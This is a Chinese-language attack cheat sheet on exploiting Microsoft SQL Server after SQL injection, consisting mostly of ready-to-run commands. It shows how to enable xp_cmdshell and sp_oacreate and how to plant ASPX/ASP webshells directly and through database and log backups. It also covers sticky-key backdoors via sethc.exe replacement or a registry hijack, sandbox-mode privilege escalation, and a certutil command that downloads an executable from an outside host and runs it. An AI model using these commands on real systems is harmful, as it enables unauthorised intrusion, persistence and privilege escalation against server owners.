MSSQL信息收集

1433端口连接状态判断

1
netstat -ano | findstr "1433"

判断服务器级别

1
and 1=(select is_srvrolemember('sysadmin'))

判断数据库级别

1
select IS_MEMBER('db_owner')  

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@@version // 数据库版本

host_name() //客户端主机名称

@@servername //服务端主机名称
serverproperty('MachineName') //服务端主机名称

user //获取当前数据库用户名

db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库

;select user //查询是否支持多语句

select * from info where id='1'and host_name()=@@servername;--'//判断站库分离

select * from information_schema.PROCESSLIST; //客户端主机名称和端口

2005的xp_cmdshell的权限一般是system而2008一般是nt authority\network service

可以通过MSSQL的sysprocesses系统表来判断是否站库分离,它的功能类似于Mysql的PROCESSLIST,可以定位到当前已连接到sqlinject数据库德用户名和主机信息等

有时会有内网多台web服务器连接一台数据库服务器的情况,这时候就可以用这种方式来查看连接到某数据库的用户名和主机信息,然后使用ping主机名来获得web服务器的内网ip

1
2
3
select name from master.sys.sysdatabases;
select * from master.sys.sysprocesses where dbid= db_id('sqlinject');
exec master..xp_cmdshell 'cmd /c ping desktop-xxxx\anz';

在mssql里面调用储存过程能够实现很多的操作

image-20230409145938707

这里我们重点看xp_dirtree和xp_cmdshell函数

image-20230409151517832

xp_dirtree

基本用法如下

1
2
3
execute master..xp_dirtree 'c:' //列出所有c:\文件和目录,子目录 ,省略了dbo
execute master..xp_dirtree 'c:',1 //只列c:\文件夹
execute master..xp_dirtree 'c:',1,1 //列c:\文件夹加文件

一般利用方式通过创建一个临时表,把回显插入进去

1
2
3
CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1
select * from tmp;

image-20230409151729635

实现列目录

xp_cmdshell

只是要列目录的话和上面的利用方式差不多,但是他还有很多其他用法….

1
2
CREATE TABLE cmdtmp (dir varchar(8000));
insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (a*.aspx) do @echo %i'

在2005及以后的版本默认禁止,需要sa权限修改sp_configure

1
select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshell'; //回显1被开启,

如果被删除了可以使用

1
dbcc addextendedproc("xp_cmdshell","xplog70.dll");

如果xplog70.dll也被删除了就先上传恢复

1
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';

另外还需要开启xp_cmdshell的扩展存储过程,否则报如下错误

image-20230409152841451

1
2
3
4
;exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展
reconfigure;--

默认情况下sp_configure无法查看和更改高级配置选项,show advanced options”用来显示或更改当前服务器的全局配置设置。当“显示高级选项” 设置为 1 时(默认值为 0),可以使用 sp_configure 列出、更改高级选项

reconfigure使语句执行后立即生效,若无此命令,需重启SQLserver后才生效

这些操作完成后我们的攻击面就很宽阔了

image-20230409153414204

写入asp

1
exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["1"],"unsafe");%^> > c:\\WWW\\404.aspx' ;

sp_oacreate

当xp_cmdshell 被删除可以使用这个来提权试试,恢复sp_oacreate,当启用 OLE Automation Procedures 时,对 sp_OACreate 的调用将会启动OLE共享执行环境

1
2
3
4
EXEC sp_configure 'show advanced options', 1;  
reconfigure;
EXEC sp_configure 'Ole Automation Procedures', 1;
reconfigure;

关闭

1
2
3
4
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',0;
reconfigure;

可以配合sp_oamethod来写文件执行cmd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
wscript.shell执行命令

declare @shell int
exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\sqltest.txt';

Shell.Application执行命令
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';


复制文件
declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'copyfile',null,'c:\1.txt','c:\2.txt'

shift粘滞键替换,很容易被检测出来

1
2
3
4
5
6
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

成功后3389登录按五次shift键,调出cmd,执行添加管理员组用户命令,进行提权

沙盒提权

使用sa权限修改注册表,使Access可以调用VBS函数,以System的权限执行任意命令

1
2
3
4
5
6
7
8
9
10
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
RECONFIGURE

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; //查询是否正常关闭,沙盒模式无论是开还是关,都不会影响我们执行下面的语句

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'


select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("whoami")')

沙盒模式SandBoxMode参数含义(默认是2)

0:在任何所有者中禁止启用安全模式

1 :为仅在允许范围内

2 :必须在access模式下

3:完全开启

openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序

恢复配置

1
2
3
4
5
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;

exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;

exec sp_configure 'show advanced options',0;reconfigure;

xp_regwrite还可以修改注册表劫持粘贴键

1
2
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';

备份getshell

差异备份

1
2
3
4
5
6
7
8
backup database DB_Name to disk='目标文件路径/目标文件名.bak'
# 将需要备份的数据库进行备份
create table aaanz(test image)
# 创建临时表,随便添加一个字段,用来存放木马
insert into aaanz values(0x3C25657865637574652872657175657374282261222929253E)
# 将木马插入表中(values的值为<%execute(request("a"))%>的十六进制)
backup database DB_Name to disk='目标文件路径/目标文件名.asp' with differential,format;--
# 重新备份,木马就会写入文件

LOG备份

要求数据库备份过,而且选择的恢复模式是完整模式,可以用sa权限设置恢复模式

1
2
BACKUP DATABASE anz
TO DISK='C:\aaanz.bak'

优势就是备份文件很小

1
2
3
4
5
6
alter database db_name set RECOVERY FULL

create table cmd (a image)
backup log db_name to disk = 'c:\aaanz.bak' with init //使用init初始化备份,会覆盖旧备份文件
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log db_name to disk = 'c:\random\1.asp'

image-20230409155210396

站库分离

xp_cmdshell可以用的话就可以为所欲为了

用certutil远程下载文件到一个可读可写目录

1
2
3
exec master.dbo.xp_cmdshell 'cd c:\www & certutil -urlcache -split -f http://192.168.130.142:80/download/file.exe';

exec master.dbo.xp_cmdshell 'cd c:\www & file.exe';

SA权限

  • 存在xp_cmdshell时 使用xp_cmdshell执行命令添加用户,当出现错误可以恢复和开启xp_cmdshell

  • xp_cmdshell无法使用时 使用sp_oacreate执行命令,同样当出现错误可以恢复和开启

  • 当执行命令无法使用时可以用沙盒提权
    使用xp_regwrite和openrowset

  • 当只有xp_regwrite可用时可以劫持粘滞键(sethc.exe)
    使用xp_regwrite修改注册表

DBA权限

备份getshell

工具使用

Powrshell 提权框架-Powerup | Evi1cg’s blog